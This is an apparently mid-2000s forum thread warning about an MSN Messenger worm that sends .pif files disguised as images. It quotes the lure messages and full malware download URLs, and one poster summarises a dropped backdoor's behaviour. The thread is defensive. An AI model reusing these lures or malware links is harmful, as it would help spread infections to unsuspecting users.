News: MSN Virus - Do not click on link.

Hot and fresh off the kitchen....

When someone on msn sends u this link

http://home.earthlink.net/~gallery10/omg.jpg

do not accept it.

coz once u accept it, its actually

http://home.earthlink.net/~gallery10/omg.pif

i have yet to look around what it does, i will update it if its a hoax or not. but for now. avoid that link. I have just recieved a msg on MSN with same said link by an old friend. she went offline after the msg was sent. Which explains why my friend went offline after sending me the link. Simmilar cases were told to me by other people i know over MSN and IRC.

Ive had someone in IRC just told me about it recently. he also recieved the msg from someone.


UPDATE: 10 mins past

So far, all ive dug up in the past few mins is there have been several simmilar cases in the past few weeks and just today .pif masked as a .jpg and being passed around on links...

Apparently it doesnt only does .pif but it also does .exe .bat .vbs aswell.

As far as ive found out,the files automatically sends variations of itself to ur contacts and signs u off automatically...

it is the Bropia again! its spreading quick here in Australia. God we're way behind.. we gettin attacked by a worm that existed a month ago...

This is apparently same case.. just different links.

On the blog from F-Secure, their latest post mentions a new version of this one, called Bropha.K that came out Sunday.
The link to their blog for a little more info is here.

This is what I have:

Early AM, EST, information came about an MSN messenger worm that spread by
sending the following message: "http://home.earthlink.net/~gallery10/omg.pif lol! see it! u'll like it"

I would estimate millions got infected.

Once going to that page, the Trojan horse was downloaded onto your PC,
and in turn it downloaded three other Trojan horses, also hosted at
Earthlink.

One of them then proceeded to connect to a botnet command and control
IRC server.

Due to international cooperation between ISP's, AV companies and CERTs
on a secure and vetted drone armies and malicious web sites coordination
group (yes, I am a member of this group), all the sites and the C&C IRC server were killed by their
authoritative owner.

Taking the sites down effectively stopped the spread of the worm, and
killing the C&C assured that the infected users won't be later used as a
group for illegal purposes such as DDoS, spam, etc. We go into action
when worms go out.

This was done in a very short time, and while there were no signatures
yet for this worm from AV companies.

Same here (in the uk), but with the format of

omg this is funny! http://jose.rivera4.home.att.net/cute.pif

---- DON'T CLICK IT

Got it with another message and link:
Again in the UK

"haha look at us"
"http://designoflife.net/youandme.pif"

Yeah, I (err, actually, my sister) got the same one as mikester2 at around 16:30 UTC-5 yesterday, but had the brilliant idea of opening it... :rolleyes:

Now, it installed a bunch of adware that was rather easiliy removed, but left two running processes:
hotkeysvc.exe
winfrw.exe

hotkeysvc is cited in the symantec and other AV vendors writeups...

winfrw.exe however I haven't seen mentionned anywhere (nor does google turn up anything).
A quick `strings` on it reveals that it seems to be an IRC botnet trojan/backdoor that amongst other things creates a user and group on the target machine, tries to connect to mssql servers with a blank SA account then execute a localhost ping with the xp_cmdshell extended stored procedure, contains a unicode encoded /script/../../cmd.exe directory traversal attempt, and such.

md5 hash of the winfrw.exe file (if anyone want's to compare):
23eabd0e6a6e5ea6ed1987eb3821c847 *winfrw.exe


Ok, here's the (interesting parts of the) actual strings output if that interests anyone:

The process also opens and listens on ports tcp 559 and udp 123, but connecting with netcat on them doesn't return anything (and I can't seem to coax it to return any message by sending it stuff).

Now AFAIK this does look like a gabot or spybot variant (I think), but on virustotal.com, only the following vendors detected it (as of the time of this post):

Yesterday only 4 vendors detected it (antivir, clamav, Kaspersky, NOD32v2)

I also sent the file to symantec (which I use) and isc.sans.org...

The good news is that the link it was downloaded from was quickly disabled and returned a code 500 around midnight already.

Perhaps you could edit this message of yours and select NOT to parse URLs?

" Automatically parse URLs: automatically adds [ url ] and [ /url ] around internet addresses. "

That one.

Not that this link can really do a thing to me but someone else could accidently click on it while scrolling the text and trying to scroll back down or something.

That link doesn't actually work anymore, it returned a code 500 last night and is now explicitly forbidden (403)... (Although I agree that not parsing it is a good thing)

These look to be variants of the W32.Kelvir virus (also called Bropia as s0nic stated). These are the four variants that Symantec lists.

Since it seems to be a new backdoor (or at least variation) I guess I should go double check that the IRC server the binary tries to connect to is informed/shutdown...
